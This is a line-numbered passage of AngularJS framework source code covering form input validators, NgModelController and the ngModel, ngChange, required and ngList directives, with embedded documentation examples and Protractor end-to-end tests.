17079 return validate(ctrl, 'pattern', ctrl.$isEmpty(value) || regexp.test(value), value);
17080 };
17081 match = pattern.match(/^\/(.*)\/([gim]*)$/);
17082 if (match) {
17083 pattern = new RegExp(match[1], match[2]);
17084 patternValidator = function(value) {
17085 return validateRegex(pattern, value);
17086 };
17087 } else {
17088 patternValidator = function(value) {
17089 var patternObj = scope.$eval(pattern);
17090
17091 if (!patternObj || !patternObj.test) {
17092 throw minErr('ngPattern')('noregexp',
17093 'Expected {0} to be a RegExp but was {1}. Element: {2}', pattern,
17094 patternObj, startingTag(element));
17095 }
17096 return validateRegex(patternObj, value);
17097 };
17098 }
17099
17100 ctrl.$formatters.push(patternValidator);
17101 ctrl.$parsers.push(patternValidator);
17102 }
17103
17104 // min length validator
17105 if (attr.ngMinlength) {
17106 var minlength = int(attr.ngMinlength);
17107 var minLengthValidator = function(value) {
17108 return validate(ctrl, 'minlength', ctrl.$isEmpty(value) || value.length >= minlength, value);
17109 };
17110
17111 ctrl.$parsers.push(minLengthValidator);
17112 ctrl.$formatters.push(minLengthValidator);
17113 }
17114
17115 // max length validator
17116 if (attr.ngMaxlength) {
17117 var maxlength = int(attr.ngMaxlength);
17118 var maxLengthValidator = function(value) {
17119 return validate(ctrl, 'maxlength', ctrl.$isEmpty(value) || value.length <= maxlength, value);
17120 };
17121
17122 ctrl.$parsers.push(maxLengthValidator);
17123 ctrl.$formatters.push(maxLengthValidator);
17124 }
17125 }
17126
17127 var numberBadFlags = ['badInput'];
17128
17129 function numberInputType(scope, element, attr, ctrl, $sniffer, $browser) {
17130 textInputType(scope, element, attr, ctrl, $sniffer, $browser);
17131
17132 ctrl.$parsers.push(function(value) {
17133 var empty = ctrl.$isEmpty(value);
17134 if (empty || NUMBER_REGEXP.test(value)) {
17135 ctrl.$setValidity('number', true);
17136 return value === '' ? null : (empty ? value : parseFloat(value));
17137 } else {
17138 ctrl.$setValidity('number', false);
17139 return undefined;
17140 }
17141 });
17142
17143 addNativeHtml5Validators(ctrl, 'number', numberBadFlags, null, ctrl.$$validityState);
17144
17145 ctrl.$formatters.push(function(value) {
17146 return ctrl.$isEmpty(value) ? '' : '' + value;
17147 });
17148
17149 if (attr.min) {
17150 var minValidator = function(value) {
17151 var min = parseFloat(attr.min);
17152 return validate(ctrl, 'min', ctrl.$isEmpty(value) || value >= min, value);
17153 };
17154
17155 ctrl.$parsers.push(minValidator);
17156 ctrl.$formatters.push(minValidator);
17157 }
17158
17159 if (attr.max) {
17160 var maxValidator = function(value) {
17161 var max = parseFloat(attr.max);
17162 return validate(ctrl, 'max', ctrl.$isEmpty(value) || value <= max, value);
17163 };
17164
17165 ctrl.$parsers.push(maxValidator);
17166 ctrl.$formatters.push(maxValidator);
17167 }
17168
17169 ctrl.$formatters.push(function(value) {
17170 return validate(ctrl, 'number', ctrl.$isEmpty(value) || isNumber(value), value);
17171 });
17172 }
17173
17174 function urlInputType(scope, element, attr, ctrl, $sniffer, $browser) {
17175 textInputType(scope, element, attr, ctrl, $sniffer, $browser);
17176
17177 var urlValidator = function(value) {
17178 return validate(ctrl, 'url', ctrl.$isEmpty(value) || URL_REGEXP.test(value), value);
17179 };
17180
17181 ctrl.$formatters.push(urlValidator);
17182 ctrl.$parsers.push(urlValidator);
17183 }
17184
17185 function emailInputType(scope, element, attr, ctrl, $sniffer, $browser) {
17186 textInputType(scope, element, attr, ctrl, $sniffer, $browser);
17187
17188 var emailValidator = function(value) {
17189 return validate(ctrl, 'email', ctrl.$isEmpty(value) || EMAIL_REGEXP.test(value), value);
17190 };
17191
17192 ctrl.$formatters.push(emailValidator);
17193 ctrl.$parsers.push(emailValidator);
17194 }
17195
17196 function radioInputType(scope, element, attr, ctrl) {
17197 // make the name unique, if not defined
17198 if (isUndefined(attr.name)) {
17199 element.attr('name', nextUid());
17200 }
17201
17202 element.on('click', function() {
17203 if (element[0].checked) {
17204 scope.$apply(function() {
17205 ctrl.$setViewValue(attr.value);
17206 });
17207 }
17208 });
17209
17210 ctrl.$render = function() {
17211 var value = attr.value;
17212 element[0].checked = (value == ctrl.$viewValue);
17213 };
17214
17215 attr.$observe('value', ctrl.$render);
17216 }
17217
17218 function checkboxInputType(scope, element, attr, ctrl) {
17219 var trueValue = attr.ngTrueValue,
17220 falseValue = attr.ngFalseValue;
17221
17222 if (!isString(trueValue)) trueValue = true;
17223 if (!isString(falseValue)) falseValue = false;
17224
17225 element.on('click', function() {
17226 scope.$apply(function() {
17227 ctrl.$setViewValue(element[0].checked);
17228 });
17229 });
17230
17231 ctrl.$render = function() {
17232 element[0].checked = ctrl.$viewValue;
17233 };
17234
17235 // Override the standard `$isEmpty` because a value of `false` means empty in a checkbox.
17236 ctrl.$isEmpty = function(value) {
17237 return value !== trueValue;
17238 };
17239
17240 ctrl.$formatters.push(function(value) {
17241 return value === trueValue;
17242 });
17243
17244 ctrl.$parsers.push(function(value) {
17245 return value ? trueValue : falseValue;
17246 });
17247 }
17248
17249
17250 /**
17251 * @ngdoc directive
17252 * @name textarea
17253 * @restrict E
17254 *
17255 * @description
17256 * HTML textarea element control with angular data-binding. The data-binding and validation
17257 * properties of this element are exactly the same as those of the
17258 * {@link ng.directive:input input element}.
17259 *
17260 * @param {string} ngModel Assignable angular expression to data-bind to.
17261 * @param {string=} name Property name of the form under which the control is published.
17262 * @param {string=} required Sets `required` validation error key if the value is not entered.
17263 * @param {string=} ngRequired Adds `required` attribute and `required` validation constraint to
17264 * the element when the ngRequired expression evaluates to true. Use `ngRequired` instead of
17265 * `required` when you want to data-bind to the `required` attribute.
17266 * @param {number=} ngMinlength Sets `minlength` validation error key if the value is shorter than
17267 * minlength.
17268 * @param {number=} ngMaxlength Sets `maxlength` validation error key if the value is longer than
17269 * maxlength.
17270 * @param {string=} ngPattern Sets `pattern` validation error key if the value does not match the
17271 * RegExp pattern expression. Expected value is `/regexp/` for inline patterns or `regexp` for
17272 * patterns defined as scope expressions.
17273 * @param {string=} ngChange Angular expression to be executed when input changes due to user
17274 * interaction with the input element.
17275 * @param {boolean=} [ngTrim=true] If set to false Angular will not automatically trim the input.
17276 */
17277
17278
17279 /**
17280 * @ngdoc directive
17281 * @name input
17282 * @restrict E
17283 *
17284 * @description
17285 * HTML input element control with angular data-binding. Input control follows HTML5 input types
17286 * and polyfills the HTML5 validation behavior for older browsers.
17287 *
17288 * *NOTE* Not every feature offered is available for all input types.
17289 *
17290 * @param {string} ngModel Assignable angular expression to data-bind to.
17291 * @param {string=} name Property name of the form under which the control is published.
17292 * @param {string=} required Sets `required` validation error key if the value is not entered.
17293 * @param {boolean=} ngRequired Sets `required` attribute if set to true
17294 * @param {number=} ngMinlength Sets `minlength` validation error key if the value is shorter than
17295 * minlength.
17296 * @param {number=} ngMaxlength Sets `maxlength` validation error key if the value is longer than
17297 * maxlength.
17298 * @param {string=} ngPattern Sets `pattern` validation error key if the value does not match the
17299 * RegExp pattern expression. Expected value is `/regexp/` for inline patterns or `regexp` for
17300 * patterns defined as scope expressions.
17301 * @param {string=} ngChange Angular expression to be executed when input changes due to user
17302 * interaction with the input element.
17303 * @param {boolean=} [ngTrim=true] If set to false Angular will not automatically trim the input.
17304 * This parameter is ignored for input[type=password] controls, which will never trim the
17305 * input.
17306 *
17307 * @example
17308 <example name="input-directive" module="inputExample">
17309 <file name="index.html">
17310 <script>
17311 angular.module('inputExample', [])
17312 .controller('ExampleController', ['$scope', function($scope) {
17313 $scope.user = {name: 'guest', last: 'visitor'};
17314 }]);
17315 </script>
17316 <div ng-controller="ExampleController">
17317 <form name="myForm">
17318 User name: <input type="text" name="userName" ng-model="user.name" required>
17319 <span class="error" ng-show="myForm.userName.$error.required">
17320 Required!</span><br>
17321 Last name: <input type="text" name="lastName" ng-model="user.last"
17322 ng-minlength="3" ng-maxlength="10">
17323 <span class="error" ng-show="myForm.lastName.$error.minlength">
17324 Too short!</span>
17325 <span class="error" ng-show="myForm.lastName.$error.maxlength">
17326 Too long!</span><br>
17327 </form>
17328 <hr>
17329 <tt>user = {{user}}</tt><br/>
17330 <tt>myForm.userName.$valid = {{myForm.userName.$valid}}</tt><br>
17331 <tt>myForm.userName.$error = {{myForm.userName.$error}}</tt><br>
17332 <tt>myForm.lastName.$valid = {{myForm.lastName.$valid}}</tt><br>
17333 <tt>myForm.lastName.$error = {{myForm.lastName.$error}}</tt><br>
17334 <tt>myForm.$valid = {{myForm.$valid}}</tt><br>
17335 <tt>myForm.$error.required = {{!!myForm.$error.required}}</tt><br>
17336 <tt>myForm.$error.minlength = {{!!myForm.$error.minlength}}</tt><br>
17337 <tt>myForm.$error.maxlength = {{!!myForm.$error.maxlength}}</tt><br>
17338 </div>
17339 </file>
17340 <file name="protractor.js" type="protractor">
17341 var user = element(by.binding('{{user}}'));
17342 var userNameValid = element(by.binding('myForm.userName.$valid'));
17343 var lastNameValid = element(by.binding('myForm.lastName.$valid'));
17344 var lastNameError = element(by.binding('myForm.lastName.$error'));
17345 var formValid = element(by.binding('myForm.$valid'));
17346 var userNameInput = element(by.model('user.name'));
17347 var userLastInput = element(by.model('user.last'));
17348
17349 it('should initialize to model', function() {
17350 expect(user.getText()).toContain('{"name":"guest","last":"visitor"}');
17351 expect(userNameValid.getText()).toContain('true');
17352 expect(formValid.getText()).toContain('true');
17353 });
17354
17355 it('should be invalid if empty when required', function() {
17356 userNameInput.clear();
17357 userNameInput.sendKeys('');
17358
17359 expect(user.getText()).toContain('{"last":"visitor"}');
17360 expect(userNameValid.getText()).toContain('false');
17361 expect(formValid.getText()).toContain('false');
17362 });
17363
17364 it('should be valid if empty when min length is set', function() {
17365 userLastInput.clear();
17366 userLastInput.sendKeys('');
17367
17368 expect(user.getText()).toContain('{"name":"guest","last":""}');
17369 expect(lastNameValid.getText()).toContain('true');
17370 expect(formValid.getText()).toContain('true');
17371 });
17372
17373 it('should be invalid if less than required min length', function() {
17374 userLastInput.clear();
17375 userLastInput.sendKeys('xx');
17376
17377 expect(user.getText()).toContain('{"name":"guest"}');
17378 expect(lastNameValid.getText()).toContain('false');
17379 expect(lastNameError.getText()).toContain('minlength');
17380 expect(formValid.getText()).toContain('false');
17381 });
17382
17383 it('should be invalid if longer than max length', function() {
17384 userLastInput.clear();
17385 userLastInput.sendKeys('some ridiculously long name');
17386
17387 expect(user.getText()).toContain('{"name":"guest"}');
17388 expect(lastNameValid.getText()).toContain('false');
17389 expect(lastNameError.getText()).toContain('maxlength');
17390 expect(formValid.getText()).toContain('false');
17391 });
17392 </file>
17393 </example>
17394 */
17395 var inputDirective = ['$browser', '$sniffer', function($browser, $sniffer) {
17396 return {
17397 restrict: 'E',
17398 require: '?ngModel',
17399 link: function(scope, element, attr, ctrl) {
17400 if (ctrl) {
17401 (inputType[lowercase(attr.type)] || inputType.text)(scope, element, attr, ctrl, $sniffer,
17402 $browser);
17403 }
17404 }
17405 };
17406 }];
17407
17408 var VALID_CLASS = 'ng-valid',
17409 INVALID_CLASS = 'ng-invalid',
17410 PRISTINE_CLASS = 'ng-pristine',
17411 DIRTY_CLASS = 'ng-dirty';
17412
17413 /**
17414 * @ngdoc type
17415 * @name ngModel.NgModelController
17416 *
17417 * @property {string} $viewValue Actual string value in the view.
17418 * @property {*} $modelValue The value in the model, that the control is bound to.
17419 * @property {Array.<Function>} $parsers Array of functions to execute, as a pipeline, whenever
17420 the control reads value from the DOM. Each function is called, in turn, passing the value
17421 through to the next. The last return value is used to populate the model.
17422 Used to sanitize / convert the value as well as validation. For validation,
17423 the parsers should update the validity state using
17424 {@link ngModel.NgModelController#$setValidity $setValidity()},
17425 and return `undefined` for invalid values.
17426
17427 *
17428 * @property {Array.<Function>} $formatters Array of functions to execute, as a pipeline, whenever
17429 the model value changes. Each function is called, in turn, passing the value through to the
17430 next. Used to format / convert values for display in the control and validation.
17431 * ```js
17432 * function formatter(value) {
17433 * if (value) {
17434 * return value.toUpperCase();
17435 * }
17436 * }
17437 * ngModel.$formatters.push(formatter);
17438 * ```
17439 *
17440 * @property {Array.<Function>} $viewChangeListeners Array of functions to execute whenever the
17441 * view value has changed. It is called with no arguments, and its return value is ignored.
17442 * This can be used in place of additional $watches against the model value.
17443 *
17444 * @property {Object} $error An object hash with all errors as keys.
17445 *
17446 * @property {boolean} $pristine True if user has not interacted with the control yet.
17447 * @property {boolean} $dirty True if user has already interacted with the control.
17448 * @property {boolean} $valid True if there is no error.
17449 * @property {boolean} $invalid True if at least one error on the control.
17450 *
17451 * @description
17452 *
17453 * `NgModelController` provides API for the `ng-model` directive. The controller contains
17454 * services for data-binding, validation, CSS updates, and value formatting and parsing. It
17455 * purposefully does not contain any logic which deals with DOM rendering or listening to
17456 * DOM events. Such DOM related logic should be provided by other directives which make use of
17457 * `NgModelController` for data-binding.
17458 *
17459 * ## Custom Control Example
17460 * This example shows how to use `NgModelController` with a custom control to achieve
17461 * data-binding. Notice how different directives (`contenteditable`, `ng-model`, and `required`)
17462 * collaborate together to achieve the desired result.
17463 *
17464 * Note that `contenteditable` is an HTML5 attribute, which tells the browser to let the element
17465 * contents be edited in place by the user. This will not work on older browsers.
17466 *
17467 * We are using the {@link ng.service:$sce $sce} service here and include the {@link ngSanitize $sanitize}
17468 * module to automatically remove "bad" content like inline event listener (e.g. `<span onclick="...">`).
17469 * However, as we are using `$sce` the model can still decide to to provide unsafe content if it marks
17470 * that content using the `$sce` service.
17471 *
17472 * <example name="NgModelController" module="customControl" deps="angular-sanitize.js">
17473 <file name="style.css">
17474 [contenteditable] {
17475 border: 1px solid black;
17476 background-color: white;
17477 min-height: 20px;
17478 }
17479
17480 .ng-invalid {
17481 border: 1px solid red;
17482 }
17483
17484 </file>
17485 <file name="script.js">
17486 angular.module('customControl', ['ngSanitize']).
17487 directive('contenteditable', ['$sce', function($sce) {
17488 return {
17489 restrict: 'A', // only activate on element attribute
17490 require: '?ngModel', // get a hold of NgModelController
17491 link: function(scope, element, attrs, ngModel) {
17492 if(!ngModel) return; // do nothing if no ng-model
17493
17494 // Specify how UI should be updated
17495 ngModel.$render = function() {
17496 element.html($sce.getTrustedHtml(ngModel.$viewValue || ''));
17497 };
17498
17499 // Listen for change events to enable binding
17500 element.on('blur keyup change', function() {
17501 scope.$apply(read);
17502 });
17503 read(); // initialize
17504
17505 // Write data to the model
17506 function read() {
17507 var html = element.html();
17508 // When we clear the content editable the browser leaves a <br> behind
17509 // If strip-br attribute is provided then we strip this out
17510 if( attrs.stripBr && html == '<br>' ) {
17511 html = '';
17512 }
17513 ngModel.$setViewValue(html);
17514 }
17515 }
17516 };
17517 }]);
17518 </file>
17519 <file name="index.html">
17520 <form name="myForm">
17521 <div contenteditable
17522 name="myWidget" ng-model="userContent"
17523 strip-br="true"
17524 required>Change me!</div>
17525 <span ng-show="myForm.myWidget.$error.required">Required!</span>
17526 <hr>
17527 <textarea ng-model="userContent"></textarea>
17528 </form>
17529 </file>
17530 <file name="protractor.js" type="protractor">
17531 it('should data-bind and become invalid', function() {
17532 if (browser.params.browser == 'safari' || browser.params.browser == 'firefox') {
17533 // SafariDriver can't handle contenteditable
17534 // and Firefox driver can't clear contenteditables very well
17535 return;
17536 }
17537 var contentEditable = element(by.css('[contenteditable]'));
17538 var content = 'Change me!';
17539
17540 expect(contentEditable.getText()).toEqual(content);
17541
17542 contentEditable.clear();
17543 contentEditable.sendKeys(protractor.Key.BACK_SPACE);
17544 expect(contentEditable.getText()).toEqual('');
17545 expect(contentEditable.getAttribute('class')).toMatch(/ng-invalid-required/);
17546 });
17547 </file>
17548 * </example>
17549 *
17550 *
17551 */
17552 var NgModelController = ['$scope', '$exceptionHandler', '$attrs', '$element', '$parse', '$animate',
17553 function($scope, $exceptionHandler, $attr, $element, $parse, $animate) {
17554 this.$viewValue = Number.NaN;
17555 this.$modelValue = Number.NaN;
17556 this.$parsers = [];
17557 this.$formatters = [];
17558 this.$viewChangeListeners = [];
17559 this.$pristine = true;
17560 this.$dirty = false;
17561 this.$valid = true;
17562 this.$invalid = false;
17563 this.$name = $attr.name;
17564
17565 var ngModelGet = $parse($attr.ngModel),
17566 ngModelSet = ngModelGet.assign;
17567
17568 if (!ngModelSet) {
17569 throw minErr('ngModel')('nonassign', "Expression '{0}' is non-assignable. Element: {1}",
17570 $attr.ngModel, startingTag($element));
17571 }
17572
17573 /**
17574 * @ngdoc method
17575 * @name ngModel.NgModelController#$render
17576 *
17577 * @description
17578 * Called when the view needs to be updated. It is expected that the user of the ng-model
17579 * directive will implement this method.
17580 */
17581 this.$render = noop;
17582
17583 /**
17584 * @ngdoc method
17585 * @name ngModel.NgModelController#$isEmpty
17586 *
17587 * @description
17588 * This is called when we need to determine if the value of the input is empty.
17589 *
17590 * For instance, the required directive does this to work out if the input has data or not.
17591 * The default `$isEmpty` function checks whether the value is `undefined`, `''`, `null` or `NaN`.
17592 *
17593 * You can override this for input directives whose concept of being empty is different to the
17594 * default. The `checkboxInputType` directive does this because in its case a value of `false`
17595 * implies empty.
17596 *
17597 * @param {*} value Reference to check.
17598 * @returns {boolean} True if `value` is empty.
17599 */
17600 this.$isEmpty = function(value) {
17601 return isUndefined(value) || value === '' || value === null || value !== value;
17602 };
17603
17604 var parentForm = $element.inheritedData('$formController') || nullFormCtrl,
17605 invalidCount = 0, // used to easily determine if we are valid
17606 $error = this.$error = {}; // keep invalid keys here
17607
17608
17609 // Setup initial state of the control
17610 $element.addClass(PRISTINE_CLASS);
17611 toggleValidCss(true);
17612
17613 // convenience method for easy toggling of classes
17614 function toggleValidCss(isValid, validationErrorKey) {
17615 validationErrorKey = validationErrorKey ? '-' + snake_case(validationErrorKey, '-') : '';
17616 $animate.removeClass($element, (isValid ? INVALID_CLASS : VALID_CLASS) + validationErrorKey);
17617 $animate.addClass($element, (isValid ? VALID_CLASS : INVALID_CLASS) + validationErrorKey);
17618 }
17619
17620 /**
17621 * @ngdoc method
17622 * @name ngModel.NgModelController#$setValidity
17623 *
17624 * @description
17625 * Change the validity state, and notifies the form when the control changes validity. (i.e. it
17626 * does not notify form if given validator is already marked as invalid).
17627 *
17628 * This method should be called by validators - i.e. the parser or formatter functions.
17629 *
17630 * @param {string} validationErrorKey Name of the validator. the `validationErrorKey` will assign
17631 * to `$error[validationErrorKey]=!isValid` so that it is available for data-binding.
17632 * The `validationErrorKey` should be in camelCase and will get converted into dash-case
17633 * for class name. Example: `myError` will result in `ng-valid-my-error` and `ng-invalid-my-error`
17634 * class and can be bound to as `{{someForm.someControl.$error.myError}}` .
17635 * @param {boolean} isValid Whether the current state is valid (true) or invalid (false).
17636 */
17637 this.$setValidity = function(validationErrorKey, isValid) {
17638 // Purposeful use of ! here to cast isValid to boolean in case it is undefined
17639 // jshint -W018
17640 if ($error[validationErrorKey] === !isValid) return;
17641 // jshint +W018
17642
17643 if (isValid) {
17644 if ($error[validationErrorKey]) invalidCount--;
17645 if (!invalidCount) {
17646 toggleValidCss(true);
17647 this.$valid = true;
17648 this.$invalid = false;
17649 }
17650 } else {
17651 toggleValidCss(false);
17652 this.$invalid = true;
17653 this.$valid = false;
17654 invalidCount++;
17655 }
17656
17657 $error[validationErrorKey] = !isValid;
17658 toggleValidCss(isValid, validationErrorKey);
17659
17660 parentForm.$setValidity(validationErrorKey, isValid, this);
17661 };
17662
17663 /**
17664 * @ngdoc method
17665 * @name ngModel.NgModelController#$setPristine
17666 *
17667 * @description
17668 * Sets the control to its pristine state.
17669 *
17670 * This method can be called to remove the 'ng-dirty' class and set the control to its pristine
17671 * state (ng-pristine class).
17672 */
17673 this.$setPristine = function () {
17674 this.$dirty = false;
17675 this.$pristine = true;
17676 $animate.removeClass($element, DIRTY_CLASS);
17677 $animate.addClass($element, PRISTINE_CLASS);
17678 };
17679
17680 /**
17681 * @ngdoc method
17682 * @name ngModel.NgModelController#$setViewValue
17683 *
17684 * @description
17685 * Update the view value.
17686 *
17687 * This method should be called when the view value changes, typically from within a DOM event handler.
17688 * For example {@link ng.directive:input input} and
17689 * {@link ng.directive:select select} directives call it.
17690 *
17691 * It will update the $viewValue, then pass this value through each of the functions in `$parsers`,
17692 * which includes any validators. The value that comes out of this `$parsers` pipeline, be applied to
17693 * `$modelValue` and the **expression** specified in the `ng-model` attribute.
17694 *
17695 * Lastly, all the registered change listeners, in the `$viewChangeListeners` list, are called.
17696 *
17697 * Note that calling this function does not trigger a `$digest`.
17698 *
17699 * @param {string} value Value from the view.
17700 */
17701 this.$setViewValue = function(value) {
17702 this.$viewValue = value;
17703
17704 // change to dirty
17705 if (this.$pristine) {
17706 this.$dirty = true;
17707 this.$pristine = false;
17708 $animate.removeClass($element, PRISTINE_CLASS);
17709 $animate.addClass($element, DIRTY_CLASS);
17710 parentForm.$setDirty();
17711 }
17712
17713 forEach(this.$parsers, function(fn) {
17714 value = fn(value);
17715 });
17716
17717 if (this.$modelValue !== value) {
17718 this.$modelValue = value;
17719 ngModelSet($scope, value);
17720 forEach(this.$viewChangeListeners, function(listener) {
17721 try {
17722 listener();
17723 } catch(e) {
17724 $exceptionHandler(e);
17725 }
17726 });
17727 }
17728 };
17729
17730 // model -> value
17731 var ctrl = this;
17732
17733 $scope.$watch(function ngModelWatch() {
17734 var value = ngModelGet($scope);
17735
17736 // if scope model value and ngModel value are out of sync
17737 if (ctrl.$modelValue !== value) {
17738
17739 var formatters = ctrl.$formatters,
17740 idx = formatters.length;
17741
17742 ctrl.$modelValue = value;
17743 while(idx--) {
17744 value = formatters[idx](value);
17745 }
17746
17747 if (ctrl.$viewValue !== value) {
17748 ctrl.$viewValue = value;
17749 ctrl.$render();
17750 }
17751 }
17752
17753 return value;
17754 });
17755 }];
17756
17757
17758 /**
17759 * @ngdoc directive
17760 * @name ngModel
17761 *
17762 * @element input
17763 *
17764 * @description
17765 * The `ngModel` directive binds an `input`,`select`, `textarea` (or custom form control) to a
17766 * property on the scope using {@link ngModel.NgModelController NgModelController},
17767 * which is created and exposed by this directive.
17768 *
17769 * `ngModel` is responsible for:
17770 *
17771 * - Binding the view into the model, which other directives such as `input`, `textarea` or `select`
17772 * require.
17773 * - Providing validation behavior (i.e. required, number, email, url).
17774 * - Keeping the state of the control (valid/invalid, dirty/pristine, validation errors).
17775 * - Setting related css classes on the element (`ng-valid`, `ng-invalid`, `ng-dirty`, `ng-pristine`) including animations.
17776 * - Registering the control with its parent {@link ng.directive:form form}.
17777 *
17778 * Note: `ngModel` will try to bind to the property given by evaluating the expression on the
17779 * current scope. If the property doesn't already exist on this scope, it will be created
17780 * implicitly and added to the scope.
17781 *
17782 * For best practices on using `ngModel`, see:
17783 *
17784 * - [https://github.com/angular/angular.js/wiki/Understanding-Scopes]
17785 *
17786 * For basic examples, how to use `ngModel`, see:
17787 *
17788 * - {@link ng.directive:input input}
17789 * - {@link input[text] text}
17790 * - {@link input[checkbox] checkbox}
17791 * - {@link input[radio] radio}
17792 * - {@link input[number] number}
17793 * - {@link input[email] email}
17794 * - {@link input[url] url}
17795 * - {@link ng.directive:select select}
17796 * - {@link ng.directive:textarea textarea}
17797 *
17798 * # CSS classes
17799 * The following CSS classes are added and removed on the associated input/select/textarea element
17800 * depending on the validity of the model.
17801 *
17802 * - `ng-valid` is set if the model is valid.
17803 * - `ng-invalid` is set if the model is invalid.
17804 * - `ng-pristine` is set if the model is pristine.
17805 * - `ng-dirty` is set if the model is dirty.
17806 *
17807 * Keep in mind that ngAnimate can detect each of these classes when added and removed.
17808 *
17809 * ## Animation Hooks
17810 *
17811 * Animations within models are triggered when any of the associated CSS classes are added and removed
17812 * on the input element which is attached to the model. These classes are: `.ng-pristine`, `.ng-dirty`,
17813 * `.ng-invalid` and `.ng-valid` as well as any other validations that are performed on the model itself.
17814 * The animations that are triggered within ngModel are similar to how they work in ngClass and
17815 * animations can be hooked into using CSS transitions, keyframes as well as JS animations.
17816 *
17817 * The following example shows a simple way to utilize CSS transitions to style an input element
17818 * that has been rendered as invalid after it has been validated:
17819 *
17820 * <pre>
17821 * //be sure to include ngAnimate as a module to hook into more
17822 * //advanced animations
17823 * .my-input {
17824 * transition:0.5s linear all;
17825 * background: white;
17826 * }
17827 * .my-input.ng-invalid {
17828 * background: red;
17829 * color:white;
17830 * }
17831 * </pre>
17832 *
17833 * @example
17834 * <example deps="angular-animate.js" animations="true" fixBase="true" module="inputExample">
17835 <file name="index.html">
17836 <script>
17837 angular.module('inputExample', [])
17838 .controller('ExampleController', ['$scope', function($scope) {
17839 $scope.val = '1';
17840 }]);
17841 </script>
17842 <style>
17843 .my-input {
17844 -webkit-transition:all linear 0.5s;
17845 transition:all linear 0.5s;
17846 background: transparent;
17847 }
17848 .my-input.ng-invalid {
17849 color:white;
17850 background: red;
17851 }
17852 </style>
17853 Update input to see transitions when valid/invalid.
17854 Integer is a valid value.
17855 <form name="testForm" ng-controller="ExampleController">
17856 <input ng-model="val" ng-pattern="/^\d+$/" name="anim" class="my-input" />
17857 </form>
17858 </file>
17859 * </example>
17860 */
17861 var ngModelDirective = function() {
17862 return {
17863 require: ['ngModel', '^?form'],
17864 controller: NgModelController,
17865 link: function(scope, element, attr, ctrls) {
17866 // notify others, especially parent forms
17867
17868 var modelCtrl = ctrls[0],
17869 formCtrl = ctrls[1] || nullFormCtrl;
17870
17871 formCtrl.$addControl(modelCtrl);
17872
17873 scope.$on('$destroy', function() {
17874 formCtrl.$removeControl(modelCtrl);
17875 });
17876 }
17877 };
17878 };
17879
17880
17881 /**
17882 * @ngdoc directive
17883 * @name ngChange
17884 *
17885 * @description
17886 * Evaluate the given expression when the user changes the input.
17887 * The expression is evaluated immediately, unlike the JavaScript onchange event
17888 * which only triggers at the end of a change (usually, when the user leaves the
17889 * form element or presses the return key).
17890 * The expression is not evaluated when the value change is coming from the model.
17891 *
17892 * Note, this directive requires `ngModel` to be present.
17893 *
17894 * @element input
17895 * @param {expression} ngChange {@link guide/expression Expression} to evaluate upon change
17896 * in input value.
17897 *
17898 * @example
17899 * <example name="ngChange-directive" module="changeExample">
17900 * <file name="index.html">
17901 * <script>
17902 * angular.module('changeExample', [])
17903 * .controller('ExampleController', ['$scope', function($scope) {
17904 * $scope.counter = 0;
17905 * $scope.change = function() {
17906 * $scope.counter++;
17907 * };
17908 * }]);
17909 * </script>
17910 * <div ng-controller="ExampleController">
17911 * <input type="checkbox" ng-model="confirmed" ng-change="change()" id="ng-change-example1" />
17912 * <input type="checkbox" ng-model="confirmed" id="ng-change-example2" />
17913 * <label for="ng-change-example2">Confirmed</label><br />
17914 * <tt>debug = {{confirmed}}</tt><br/>
17915 * <tt>counter = {{counter}}</tt><br/>
17916 * </div>
17917 * </file>
17918 * <file name="protractor.js" type="protractor">
17919 * var counter = element(by.binding('counter'));
17920 * var debug = element(by.binding('confirmed'));
17921 *
17922 * it('should evaluate the expression if changing from view', function() {
17923 * expect(counter.getText()).toContain('0');
17924 *
17925 * element(by.id('ng-change-example1')).click();
17926 *
17927 * expect(counter.getText()).toContain('1');
17928 * expect(debug.getText()).toContain('true');
17929 * });
17930 *
17931 * it('should not evaluate the expression if changing from model', function() {
17932 * element(by.id('ng-change-example2')).click();
17933
17934 * expect(counter.getText()).toContain('0');
17935 * expect(debug.getText()).toContain('true');
17936 * });
17937 * </file>
17938 * </example>
17939 */
17940 var ngChangeDirective = valueFn({
17941 require: 'ngModel',
17942 link: function(scope, element, attr, ctrl) {
17943 ctrl.$viewChangeListeners.push(function() {
17944 scope.$eval(attr.ngChange);
17945 });
17946 }
17947 });
17948
17949
17950 var requiredDirective = function() {
17951 return {
17952 require: '?ngModel',
17953 link: function(scope, elm, attr, ctrl) {
17954 if (!ctrl) return;
17955 attr.required = true; // force truthy in case we are on non input element
17956
17957 var validator = function(value) {
17958 if (attr.required && ctrl.$isEmpty(value)) {
17959 ctrl.$setValidity('required', false);
17960 return;
17961 } else {
17962 ctrl.$setValidity('required', true);
17963 return value;
17964 }
17965 };
17966
17967 ctrl.$formatters.push(validator);
17968 ctrl.$parsers.unshift(validator);
17969
17970 attr.$observe('required', function() {
17971 validator(ctrl.$viewValue);
17972 });
17973 }
17974 };
17975 };
17976
17977
17978 /**
17979 * @ngdoc directive
17980 * @name ngList
17981 *
17982 * @description
17983 * Text input that converts between a delimited string and an array of strings. The delimiter
17984 * can be a fixed string (by default a comma) or a regular expression.
17985 *
17986 * @element input
17987 * @param {string=} ngList optional delimiter that should be used to split the value. If
17988 * specified in form `/something/` then the value will be converted into a regular expression.
17989 *
17990 * @example
17991 <example name="ngList-directive" module="listExample">
17992 <file name="index.html">
17993 <script>
17994 angular.module('listExample', [])
17995 .controller('ExampleController', ['$scope', function($scope) {
17996 $scope.names = ['igor', 'misko', 'vojta'];
17997 }]);
17998 </script>
17999 <form name="myForm" ng-controller="ExampleController">
18000 List: <input name="namesInput" ng-model="names" ng-list required>
18001 <span class="error" ng-show="myForm.namesInput.$error.required">
18002 Required!</span>
18003 <br>
18004 <tt>names = {{names}}</tt><br/>
18005 <tt>myForm.namesInput.$valid = {{myForm.namesInput.$valid}}</tt><br/>
18006 <tt>myForm.namesInput.$error = {{myForm.namesInput.$error}}</tt><br/>
18007 <tt>myForm.$valid = {{myForm.$valid}}</tt><br/>
18008 <tt>myForm.$error.required = {{!!myForm.$error.required}}</tt><br/>
18009 </form>
18010 </file>
18011 <file name="protractor.js" type="protractor">
18012 var listInput = element(by.model('names'));
18013 var names = element(by.binding('{{names}}'));
18014 var valid = element(by.binding('myForm.namesInput.$valid'));
18015 var error = element(by.css('span.error'));
18016
18017 it('should initialize to model', function() {
18018 expect(names.getText()).toContain('["igor","misko","vojta"]');
18019 expect(valid.getText()).toContain('true');
18020 expect(error.getCssValue('display')).toBe('none');
18021 });
18022
18023 it('should be invalid if empty', function() {
18024 listInput.clear();
18025 listInput.sendKeys('');
18026
18027 expect(names.getText()).toContain('');
